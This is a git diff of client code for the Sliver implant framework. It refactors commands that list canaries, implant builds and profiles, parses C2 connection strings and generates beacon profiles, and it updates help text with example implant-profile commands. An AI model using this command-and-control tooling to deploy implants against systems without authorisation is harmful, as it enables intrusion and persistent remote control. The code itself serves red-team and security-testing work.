con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -44,7 +44,6 @@ func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -55,7 +55,6 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -83,7 +83,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
+31 -43
View File
@@ -1,16 +1,15 @@
package generate
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CanariesCmd - Display canaries from the database and their status
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if 0 < len(canaries.Canaries) {
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
con.PrintInfof("No canaries in database\n")
}
}
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
// PrintCanaries - Print the canaries tracked by the server
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Sliver Name",
"Domain",
"Triggered",
"First Trigger",
"Latest Trigger",
})
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
lineColor := console.Normal
if canary.Triggered {
lineColors = append(lineColors, console.Bold+console.Red)
} else {
lineColors = append(lineColors, console.Normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
lineColor = console.Bold + console.Red
}
firstTrigger := "Never"
latestTrigger := "Never"
if canary.Triggered {
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
}
row := table.Row{
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
firstTrigger,
latestTrigger,
}
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
+2 -2
View File
@@ -11,8 +11,8 @@ import (
)
var (
minBeaconInterval = 15 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
minBeaconInterval = 5 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
+161 -82
View File
@@ -97,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compile(config, save, con)
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
return path
}
return filepath.Join(os.Getenv("HOME"), path[1:])
}
func saveLocation(save, DefaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
save = expandPath(save)
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
@@ -168,22 +178,46 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
c2s := []*clientpb.ImplantC2{}
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, mtlsC2...)
wgC2 := parseWGc2(ctx.Flags.String("wg"))
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, wgC2...)
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, httpC2...)
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, dnsC2...)
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
@@ -339,49 +373,75 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
return targetOS, targetArch
}
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
// ParseMTLSc2 - Parse mtls connection string arg
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseWGc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
uri := url.URL{Scheme: "wg"}
uri.Host = arg
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
// ParseWGc2 - Parse wg connect string arg
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
@@ -390,14 +450,12 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
@@ -405,73 +463,94 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseDNSc2(args string) []*clientpb.ImplantC2 {
// ParseDNSc2 - Parse DNS connection string arg
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
arg = strings.TrimPrefix(arg, ".")
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "dns://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
if err != nil {
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
// ParseNamedPipec2 - Parse named pipe connection string arg
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
@@ -550,7 +629,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
return true
}
@@ -585,7 +664,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
+19 -1
View File
@@ -2,7 +2,9 @@ package generate
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -10,8 +12,24 @@ import (
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No name specified\n")
return
}
build := ImplantBuildByName(name, con)
if build == nil {
con.PrintErrorf("No implant build found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("implant-name"),
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to delete implant %s\n", err)
+115 -38
View File
@@ -19,19 +19,29 @@ package generate
*/
import (
"bytes"
"context"
"fmt"
"io"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ImplantBuildFilter - Filter implant builds
type ImplantBuildFilter struct {
GOOS string
GOARCH string
Beacon bool
Session bool
Format string
Debug bool
}
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("OS/Arch")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Command & Control")),
)
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"OS/Arch",
"Format",
"Command & Control",
"Debug",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range configs {
if 0 < len(config.C2) {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
sliverName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("%v", config.Debug),
config.Format,
fmt.Sprintf("[1] %s", config.C2[0].URL),
)
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
"",
"",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
)
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
continue
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
sliverName,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
})
}
table.Flush()
fmt.Fprintf(stdout, "%s", outputBuf.String())
con.Println(tw.Render())
}
// ImplantBuildNameCompleter - Completer for implant build names
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for name, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
continue
}
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
sort.StringSlice(results).Sort()
return results
}
// ImplantBuildByName - Get an implant build by name
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil
}
for _, build := range builds.Configs {
if build.Name == name {
return build
}
}
return nil
}
+2 -2
View File
@@ -30,9 +30,9 @@ import (
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("name")
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("no profile selected")
con.PrintErrorf("No profile name specified\n")
return
}
save := ctx.Flags.String("save")
+48 -6
View File
@@ -1,5 +1,22 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -10,11 +27,7 @@ import (
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
con.PrintErrorf("Invalid profile name\n")
return
}
name := ctx.Args.String("name")
config := parseCompileFlags(ctx, con)
if config == nil {
return
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new profile %s\n", resp.Name)
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
}
}
// ProfilesNewBeaconCmd - Create a new beacon profile
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
}
}
+37 -1
View File
@@ -1,8 +1,28 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -10,8 +30,24 @@ import (
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("No profile found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("profile-name"),
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to delete profile %s\n", err)
+65 -47
View File
@@ -21,15 +21,15 @@ package generate
import (
"context"
"fmt"
"os"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ProfilesCmd - Display implant profiles
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if len(profiles) == 0 {
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
return
} else {
PrintProfiles(profiles, con)
}
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")),
)
}
// PrintProfiles - Print the profiles
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Profile Name",
"Implant Type",
"Platform",
"Command & Control",
"Debug",
"Format",
"Obfuscation",
"Limitations",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
})
for _, profile := range profiles {
config := profile.Config
if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
)
obfuscation := "disabled"
if config.ObfuscateSymbols {
obfuscation = "enabled"
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
profile.Name,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
})
}
table.Flush()
con.Printf("%s\n", tw.Render())
}
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error %s", err)
con.PrintErrorf("%s\n", err)
return nil
}
return pbProfiles.Profiles
}
// GetImplantProfileByName - Get an implant profile by a specific name
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error %s", err)
con.PrintErrorf("%s\n", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
}
return nil
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for _, profile := range pbProfiles.Profiles {
if strings.HasPrefix(profile.Name, prefix) {
results = append(results, profile.Name)
}
}
return results
}
+10 -3
View File
@@ -45,12 +45,19 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveTarget.GetSession() != nil {
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
targetOS := ""
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
targetOS = beacon.OS
}
if beacon != nil || session != nil {
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
+15 -17
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.AliasesStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -84,7 +84,7 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
@@ -211,12 +211,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
profiles generate my-profile-name
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
